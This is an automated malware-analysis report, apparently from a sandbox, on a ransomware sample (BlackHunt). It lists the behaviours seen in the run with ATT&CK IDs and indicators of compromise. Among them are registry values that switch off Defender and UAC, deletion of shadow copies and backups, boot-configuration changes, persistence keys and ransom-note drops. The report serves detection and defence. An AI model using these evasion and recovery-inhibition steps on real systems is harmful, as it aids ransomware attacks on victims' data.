53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4

Data Destruction

T1485

pid	Process
1656	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
3268	bcdedit.exe
1716	bcdedit.exe

Renames multiple (699) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
628	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\A:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\K:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\Y:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\I:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\L:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\Z:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\S:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\B:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\N:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\Q:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\W:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\R:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\T:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\U:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\X:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\V:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\O:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\P:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\H:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\J:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\G:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened (read-only)	\??\M:	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xalan.md	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\resources.jar	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\mobile_view.html	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\US_export_policy.jar	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\jfxrt.jar	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\liveleak.luac	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\dotnet\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunjce_provider.jar	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\packager.jar	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_CN.properties	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\javafx-mx.jar	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jcup.md	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\cursors.properties	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\requests\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xalan.md	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\jpeg_fx.md	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_ReadMe.txt	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm.xml	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\mesa3d.md	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1312	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
220	vssadmin.exe
1444	vssadmin.exe
1100	vssadmin.exe
1036	vssadmin.exe
3424	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Token: SeRestorePrivilege	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Token: SeBackupPrivilege	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Token: SeTakeOwnershipPrivilege	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Token: SeAuditPrivilege	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Token: SeSecurityPrivilege	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Token: SeIncBasePriorityPrivilege	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe
Token: SeBackupPrivilege	2992	vssvc.exe
Token: SeRestorePrivilege	2992	vssvc.exe
Token: SeAuditPrivilege	2992	vssvc.exe
Token: SeBackupPrivilege	1392	wbengine.exe
Token: SeRestorePrivilege	1392	wbengine.exe
Token: SeSecurityPrivilege	1392	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 2328	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	91
PID 4532 wrote to memory of 2328	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	91
PID 4532 wrote to memory of 2248	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	94
PID 4532 wrote to memory of 2248	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	94
PID 4532 wrote to memory of 3496	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	96
PID 4532 wrote to memory of 3496	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	96
PID 2328 wrote to memory of 216	2328	cmd.exe	93
PID 2328 wrote to memory of 216	2328	cmd.exe	93
PID 4532 wrote to memory of 1728	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	98
PID 4532 wrote to memory of 1728	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	98
PID 4532 wrote to memory of 968	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	100
PID 4532 wrote to memory of 968	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	100
PID 3496 wrote to memory of 3804	3496	cmd.exe	102
PID 3496 wrote to memory of 3804	3496	cmd.exe	102
PID 2248 wrote to memory of 1788	2248	cmd.exe	103
PID 2248 wrote to memory of 1788	2248	cmd.exe	103
PID 1728 wrote to memory of 2684	1728	cmd.exe	104
PID 1728 wrote to memory of 2684	1728	cmd.exe	104
PID 968 wrote to memory of 1468	968	cmd.exe	105
PID 968 wrote to memory of 1468	968	cmd.exe	105
PID 4532 wrote to memory of 2796	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	107
PID 4532 wrote to memory of 2796	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	107
PID 4532 wrote to memory of 1984	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	108
PID 4532 wrote to memory of 1984	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	108
PID 4532 wrote to memory of 1392	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	213
PID 4532 wrote to memory of 1392	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	213
PID 4532 wrote to memory of 3672	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	114
PID 4532 wrote to memory of 3672	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	114
PID 4532 wrote to memory of 3788	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	112
PID 4532 wrote to memory of 3788	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	112
PID 4532 wrote to memory of 4844	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	116
PID 4532 wrote to memory of 4844	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	116
PID 4532 wrote to memory of 3816	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	122
PID 4532 wrote to memory of 3816	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	122
PID 4532 wrote to memory of 3128	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	117
PID 4532 wrote to memory of 3128	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	117
PID 4532 wrote to memory of 1868	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	121
PID 4532 wrote to memory of 1868	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	121
PID 4532 wrote to memory of 2572	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	132
PID 4532 wrote to memory of 2572	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	132
PID 4532 wrote to memory of 1476	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	128
PID 4532 wrote to memory of 1476	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	128
PID 4532 wrote to memory of 3532	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	125
PID 4532 wrote to memory of 3532	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	125
PID 4532 wrote to memory of 1356	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	127
PID 4532 wrote to memory of 1356	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	127
PID 4532 wrote to memory of 1412	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	130
PID 4532 wrote to memory of 1412	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	130
PID 4532 wrote to memory of 1972	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	129
PID 4532 wrote to memory of 1972	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	129
PID 4532 wrote to memory of 1100	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	206
PID 4532 wrote to memory of 1100	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	206
PID 4532 wrote to memory of 4568	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	139
PID 4532 wrote to memory of 4568	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	139
PID 4532 wrote to memory of 4668	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	140
PID 4532 wrote to memory of 4668	4532	53cc2f7d66b7a12868f31c05ecca1dfa54ca17ecd68d9a230e9eebd90436d8c4.exe	140
